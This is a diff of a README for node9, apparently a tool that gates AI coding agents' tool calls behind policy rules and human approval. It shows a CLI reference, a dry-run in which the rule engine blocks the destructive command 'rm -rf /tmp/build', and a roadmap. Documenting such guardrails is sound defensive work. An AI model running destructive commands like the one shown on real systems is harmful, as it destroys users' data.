- claude-opus-4-5 โ”‚ ctx โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘ 82% โ”‚ 5h โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘ 61% (43m left)
663
- 2 CLAUDE.md | 5 rules | 3 MCPs | 2 hooks
664
- ```
665
-
666
- | Segment | Source | Notes |
667
- | :----------------- | :-------------------------- | :------------------------------------------------------- |
668
- | `standard` | daemon: current mode | changes colour in `strict` (red) and `observe` (magenta) |
669
- | `โœ… N allowed` | daemon: session counters | resets when the daemon restarts |
670
- | `๐Ÿ›‘ N blocked` | daemon: session counters | shown in red when > 0 |
671
- | `โš  N would-block` | daemon: session counters | shown instead of blocked/allowed in `observe` mode |
672
- | `โšก rule-name` | daemon: last smart rule hit | most recent rule that fired |
673
- | Context bar | Claude Code stdin | token usage and rate limit windows |
674
- | Environment counts | local config files | CLAUDE.md / rules / MCPs / hooks active in this project |
675
-
676
- When the daemon is not running the HUD shows `๐Ÿ›ก node9 | offline` instead of an error.
677
-
678
- ---
679
-
680
- ## ๐Ÿ–ฅ๏ธ CLI Reference
681
-
682
- | Command | Description |
683
- | :------------------------------------------- | :------------------------------------------------------------------------------------ |
684
- | `node9 setup` | Interactive menu โ€” detects installed agents and wires hooks for you |
685
- | `node9 addto <agent>` | Wire hooks for a specific agent (`claude`, `gemini`, `cursor`) |
686
- | `node9 setup hud` | Add the node9 security statusline to Claude Code (also done automatically by `init`) |
687
- | `node9 init` | Create default config, wire detected agents, and set up the HUD |
688
- | `node9 status` | Show current protection status and active rules |
689
- | `node9 doctor` | Health check โ€” verifies binaries, config, credentials, and all agent hooks |
690
- | `node9 shield enable <name>` | Activate a shield |
691
- | `node9 shield disable <name>` | Deactivate a shield |
692
- | `node9 shield list` | Show builtin shields and their enable/disable status |
693
- | `node9 shield list --community` | Browse the community marketplace |
694
- | `node9 shield install <name>` | Download a community shield to `~/.node9/shields/` |
695
- | `node9 shield status` | Show active shields with per-rule verdicts and any overrides |
696
- | `node9 shield set <shield> <rule> <verdict>` | Override a rule verdict (`block`, `review`, `allow --force`) |
697
- | `node9 shield unset <shield> <rule>` | Remove a rule override, restoring the shield default |
698
- | `node9 trust add <host>` | Add a host to the trusted list โ€” pipe-chain blocks to this host are downgraded |
699
- | `node9 trust remove <host>` | Remove a trusted host |
700
- | `node9 trust list` | Show all trusted hosts |
701
- | `node9 tail [--history]` | Stream live agent activity to the terminal (auto-starts daemon if needed) |
702
- | `node9 explain <tool> [args]` | Trace the policy waterfall for a given tool call (dry-run, no approval prompt) |
703
- | `node9 undo [--steps N]` | Revert the last N AI file edits using shadow Git snapshots |
704
- | `node9 mcp-gateway --upstream <cmd>` | Wrap an MCP server with Node9 security โ€” intercepts every tool call |
705
- | `node9 mcp-server` | Run the Node9 MCP server โ€” exposes undo and other tools to Claude, Cursor, and Gemini |
706
- | `node9 check` | Called by agent hooks; evaluates a pending tool call and exits 0 (allow) or 1 (block) |
707
-
708
- ### `node9 doctor`
709
-
710
- ```
711
- Node9 Doctor v1.2.0
712
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
713
- Binaries
714
- โœ… Node.js v20.11.0
715
- โœ… git version 2.43.0
716
-
717
- Configuration
718
- โœ… ~/.node9/config.json found and valid
719
- โœ… ~/.node9/credentials.json โ€” cloud credentials found
720
-
721
- Agent Hooks
722
- โœ… Claude Code โ€” PreToolUse hook active
723
- โš ๏ธ Gemini CLI โ€” not configured (optional)
724
- โš ๏ธ Cursor โ€” not configured (optional)
725
-
726
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
727
- All checks passed โœ…
728
- ```
729
-
730
- ### `node9 explain`
731
-
732
- Dry-runs the policy engine and prints exactly which rule would fire โ€” useful for debugging:
733
-
734
- ```bash
735
- node9 explain bash '{"command":"rm -rf /tmp/build"}'
736
- ```
737
-
738
- ```
739
- Policy Waterfall for: bash
740
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
741
- Tier 1 ยท Cloud Org Policy SKIP (no org policy loaded)
742
- Tier 2 ยท Dangerous Words BLOCK โ† matched "rm -rf"
743
- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
744
- Verdict: BLOCK (dangerous word: rm -rf)
745
- ```
746
-
747
- ---
748
-
749
- ## ๐Ÿ”ง Troubleshooting
750
-
751
- **`node9 check` exits immediately / Claude is never blocked**
752
- Node9 fails open by design to prevent breaking your agent. Check debug logs: `NODE9_DEBUG=1 claude`. Also verify you are in `standard` or `strict` mode โ€” the default `audit` mode approves everything and only logs.
753
-
754
- **Terminal prompt never appears during Claude/Gemini sessions**
755
- Interactive agents run hooks in a "Headless" subprocess. You **must** enable `native: true` or `browser: true` in your config to see approval prompts.
756
-
757
- **"Blocked by Organization (SaaS)"**
758
- A corporate policy has locked this action. You must click the "Approve" button in your company's Slack channel to proceed.
759
-
760
- **`node9 tail --history` says "Daemon failed to start" even though the daemon is running**
761
- This can happen when the daemon's PID file (`~/.node9/daemon.pid`) is missing โ€” for example after a crash or a botched restart left a daemon running without a PID file. Node9 now detects this automatically: it performs an HTTP health probe and a live port check before deciding the daemon is gone. If you hit this on an older version, run `node9 daemon stop` then `node9 daemon -b` to create a clean PID file.
762
-
763
- ---
113
+ ## ๐Ÿ“– Full docs
764
114
 
765
- ## ๐Ÿ—บ๏ธ Roadmap
766
-
767
- - [x] **Multi-Channel Race Engine** (Simultaneous Native/Browser/Cloud/Terminal)
768
- - [x] **AI Negotiation Loop** (Instructional feedback loop to guide LLM behavior)
769
- - [x] **Resolution Waterfall** (Cascading configuration: Env > Cloud > Project > Global)
770
- - [x] **Native OS Dialogs** (Sub-second approval via Mac/Win/Linux system windows)
771
- - [x] **Shadow Git Snapshots** (1-click Undo for AI hallucinations)
772
- - [x] **Identity-Aware Execution** (Differentiates between Human vs. AI risk levels)
773
- - [x] **Shield Templates** (`node9 shield enable <service>` โ€” one-click protection for Postgres, GitHub, AWS, bash-safe, filesystem)
774
- - [x] **Shields Marketplace** (`node9 shield list --community`, `node9 shield install <name>` โ€” community-published shields + private custom shields in `~/.node9/shields/`)
775
- - [x] **Content Scanner / DLP** (Detect and block secrets like AWS keys and Bearer tokens in-flight)
776
- - [x] **Flight Recorder** (Real-time activity stream in browser dashboard and `node9 tail` terminal view)
777
- - [x] **Universal MCP Gateway** (Transparent stdio proxy โ€” wraps any MCP server for any AI agent: `node9 mcp-gateway --upstream <cmd>`)
778
- - [x] **Node9 MCP Server** (Native MCP tools for Claude/Cursor/Gemini: `node9_undo_list`, `node9_undo_revert` โ€” auto-registered by `node9 init`)
779
- - [ ] **Cursor & Windsurf Hook** (Native hook support for AI-first IDEs)
780
- - [ ] **VS Code Extension** (Approval requests in a native sidebar โ€” no more OS popups)
781
- - [ ] **Execution Sandboxing** (Simulate dangerous commands in a virtual FS before applying)
782
- - [ ] **Multi-Admin Quorum** (Require 2+ human signatures for high-stakes production actions)
783
- - [ ] **SOC2 Tamper-proof Audit Trail** (Cryptographically signed, cloud-managed logs)
115
+ Everything else โ€” config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference โ€” is at **[node9.ai/docs](https://node9.ai/docs)**.
784
116
 
785
117
  ---
786
118
 
787
- ## ๐Ÿ”— Related
119
+ ## Related
788
120
 
789
- - [node9-python](https://github.com/node9-ai/node9-python) โ€” Python SDK for Node9
121
+ - [node9-python](https://github.com/node9-ai/node9-python) โ€” Python SDK
122
+ - [governed-agent](https://github.com/node9-ai/governed-agent) โ€” Reference governed agents (CI code review fixer)
790
123
 
791
124
  ---
792
125
 
793
- ## ๐Ÿข Enterprise & Compliance
126
+ ## Enterprise
794
127
 
795
- Node9 Pro provides **Governance Locking**, **SAML/SSO**, and **VPC Deployment**.
796
- Visit [node9.ai](https://node9.ai)
128
+ Node9 Pro provides governance locking, SAML/SSO, and VPC deployment. Visit [node9.ai](https://node9.ai).